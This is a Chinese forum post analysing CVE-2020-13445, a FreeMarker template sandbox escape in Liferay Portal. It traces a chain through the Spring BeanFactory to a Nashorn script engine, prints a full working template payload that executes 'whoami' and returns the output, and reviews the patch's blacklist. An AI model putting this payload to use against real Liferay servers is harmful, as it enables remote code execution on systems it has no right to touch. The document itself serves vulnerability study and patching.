安全矩阵

 找回密码
 立即注册
搜索
查看: 5552|回复: 0

Liferay+Portal+模板RCE分析(CVE-2020-13445)

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-2-17 22:44:10 | 显示全部楼层 |阅读模式
原文链接;Liferay+Portal+模板RCE分析(CVE-2020-13445)


0x01 前言
GHSL小组成员Alvaro Munoz在2020年3月报告了Liferay Portal中的模板注入漏洞,通过其描述可以得知具有编辑模板权限的用户可以实现通过该漏洞实现远程代码执行,而漏洞产生原因是由于绕过了Liferay Portal自定义的安全保护机制从而使得允许通过Freemarker模板实例化任意对象完成沙箱逃逸(CVE-2020-13445)

0x02 模板安全策略在Liferay Portal中实现了自定义的ObjectWrapper,在访问对象时将会触发wrap方法(使用黑、白名单校验)
相关代码如下
class com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper

访问对象时将经过wrap方法并触发校验调用 _checkClassIsRestricted 方法
​跟入 _checkClassIsRestricted方法具体逻辑如下


在构造方法中传入 allowedClassNames、restrictedClassNames 、 restrictedMethodNames 参数
在 wrap 方法中调用 _checkClassIsRestricted 方法进行校验。
注:在低版本中不存在 RestrictedLiferayObjectWrapper 类,而核心逻辑位于 LiferayObjectWrapper 中
而黑白名单来自于 com.liferay.portal.template.freemarker.configuration.FreeMarkerEngineConfiguration

受到限制的类
  1.     com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist

  2.     java.lang.Class

  3.     java.lang.ClassLoader

  4.     java.lang.Compiler

  5.     java.lang.Package

  6.     java.lang.Process

  7.     java.lang.Runtime

  8.     java.lang.RuntimePermission

  9.     java.lang.SecurityManager

  10.     java.lang.System

  11.     java.lang.Thread

  12.     java.lang.ThreadGroup

  13.     java.lang.ThreadLocal
复制代码

受到限制的变量
  1.     httpUtilUnsafe

  2.     objectUtil

  3.     serviceLocator

  4.     staticFieldGetter

  5.     staticUtil

  6.     utilLocator
复制代码

我们还需要关注Liferay Portal中的类解析器 com.liferay.portal.template.freemarker.internal.LiferayTemplateClassResolver
此类是 freemarker.core.TemplateClassResolver 接口的实现,在加载class时将调用 resolve 方法


  • Execute、ObjectConstructor 无法被加载
  • 非白名单中的类无法被加载

以上限制将导致无法在模板中创建对象或是经过ClassLoader加载Class等方法来利用
0x03 漏洞分析
虽然存在着诸多限制,但是允许通过模板上下文中暴露的大量对象提供的方法完成一个链式调用后绕过安全机制来实例化任意对象最终完成逃逸导致远程代码执行
在模板上下文中存在着许多变量,每个变量都对应到一个对象,而这些对象中暴露的方法可能会存在问题。
其中${renderRequest} 的类型是 class com.liferay.portlet.internal.RenderRequestImpl,同时它是 class com.liferay.portal.kernel.portlet.LiferayRenderRequest 的子类
在父类 class com.liferay.portlet.internal.RenderRequestImpl 中存在一个getter方法 public PortletContext getPortletContext()

通过此方法我们可以获取到 class com.liferay.portlet.internal.PortletContextImpl 的实例(PortletContext)
在 PortletContextImpl 中存在getter方法为 public ServletContext getServletContext()

通过此方法我们可以继续获取到 ServletContext,但它是由ASM生成,而并非是容器原生的 ServletContext
不过这个 ServletContext 提供了 getContext 方法,接着调用该方法我们可以获得容器原生的 ServletContext 实例(Tomcat中的ApplicationContextFacade)

至于为什么要获取到容器的 ServletContext,是因为在下一步我们需要从Servlet上下文中通过 getAttribute 方法获取到Spring的 ApplicationContext
这个保留在上下文Attribute中的命名为 org.springframework.web.context.WebApplicationContext.ROOT
经过测试由ASM生成的 ServletContext 是无法获取到该Attribute的

而容器的 ServletContext 是可以获取到的

此时我们已经拿到到了Spring的 ApplicationContext
实例类型为Liferay Portal中实现的 class com.liferay.portal.spring.context.PortalApplicationContext,它是 class org.springframework.web.context.support.XmlWebApplicationContext 的子类
目前获取到的 Spring ApplicationContext 可以做很多的事情,但是要想达到远程代码执行的效果还是需要继续探索。
我们可以通过获取到 BeanFactory 篡改 BeanDefinitions 中的 beanClass 类型为自定义类型 以及 scope 作用域为”prototype”,然后调用 getBean 方法, Spring将实例化一个我们定义的类型对象并返回达到实例化任意对象的效果。
这里的思路是实例化JDK中的 Nashorn 脚本引擎工厂,接着调用 getScriptEngine 获取 Nashorn 引擎实例,再调用 eval 方法来执行脚本。
寻找 BeanDefinition 时,只需要注意构造方法的参数即可,例如 Nashorn 脚本引擎工厂为无参构造方法。
其中名为 com.liferay.document.library.kernel.service.DLAppService 的 BeanDefinition 是符合这个条件的。

整个调用链及利用如下:
  • 通过内置对象 ${renderRequest} 调用 getPortalContext() 获取 PortalContext 对象
  • 通过 PortalContext 获取 ServletContext (ServletContextDelegate - 由 ASM 生成)
  • 通过 ServletContextDelegate 调用 getContext(“/“) 获取 ApplicationContext
  • 通过 ApplicationContext 调用 getAttribute(“org.springframework.web.context.WebApplicationContext.ROOT”) 获取 PortalApplicationContext(继承至 Spring XmlWebApplicationContext)
  • 通过 PortalApplicationContext 调用 getBeanFactory() 获取 LiferayBeanFactory (继承至 Spring DefaultListableBeanFactory)
  • 通过 LiferayBeanFactory 调用 getBeanDefinition(“com.liferay.document.library.kernel.service.DLAppService”) 获取 DLAppService 的 BeanDefinition
  • 通过 BeanDefinition 调用 setScope(“prototype”) 修改 scope 为 “prototype” (非单例)
  • 通过 BeanDefinition 调用 setBeanClassName(“jdk.nashorn.api.scripting.NashornScriptEngineFactory”) 修改 BeanClass 为 “jdk.nashorn.api.scripting.NashornScriptEngineFactory” (Nashorn 脚本引擎工厂)
  • 通过 LiferayBeanFactory 调用 registerBeanDefinition 将篡改后的 BeanDefinition 重新注册
  • 通过 LiferayBeanFactory 调用 getBean 将会导致创建 Nashorn 脚本引擎工厂对象并获取
  • 通过 NashornScriptEngineFactory 调用 getScriptEngine() 获取 Nashorn 脚本引擎对象
  • 通过 NashornScriptEngine 调用 eval 执行恶意脚本,触发远程代码执行

构造回显 Payload

  1.     <#assign sp=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBeanDefinition("com.liferay.document.library.kernel.service.DLAppService")>

  2.     <#assign ec=sp.setScope("prototype")>

  3.     <#assign eb=sp.setBeanClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory")>

  4.     <#assign xx=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().registerBeanDefinition("sp",sp)>

  5.     <#assign res=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBean("sp").getScriptEngine().eval("var a = new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','whoami']);var b=a.start().getInputStream();var c=Java.type('com.liferay.portal.kernel.util.StreamUtil');var d=new java.io.ByteArrayOutputStream();c.transfer(b,d,1024,false);var e=new java.lang.String(d.toByteArray());e")>

  6.     ${res}
复制代码



触发后成功执行

0x04 补丁分析在 Liferay Portal 7.3.2-GA3 中较之前版本增加了如下黑名单,其中增加了 com.liferay.portal.spring.context.* 导致无法访问 Spring ApplicationContext
  1.     com.ibm.*

  2.     com.liferay.portal.spring.context.*

  3.     io.undertow.*

  4.     org.apache.*

  5.     org.glassfish.*

  6.     org.jboss.*

  7.     org.springframework.*

  8.     org.wildfly.*

  9.     weblogic.*
复制代码

参考:
https://github.com/liferay/lifer ... eConfiguration.java
















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 21:37 , Processed in 0.013004 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表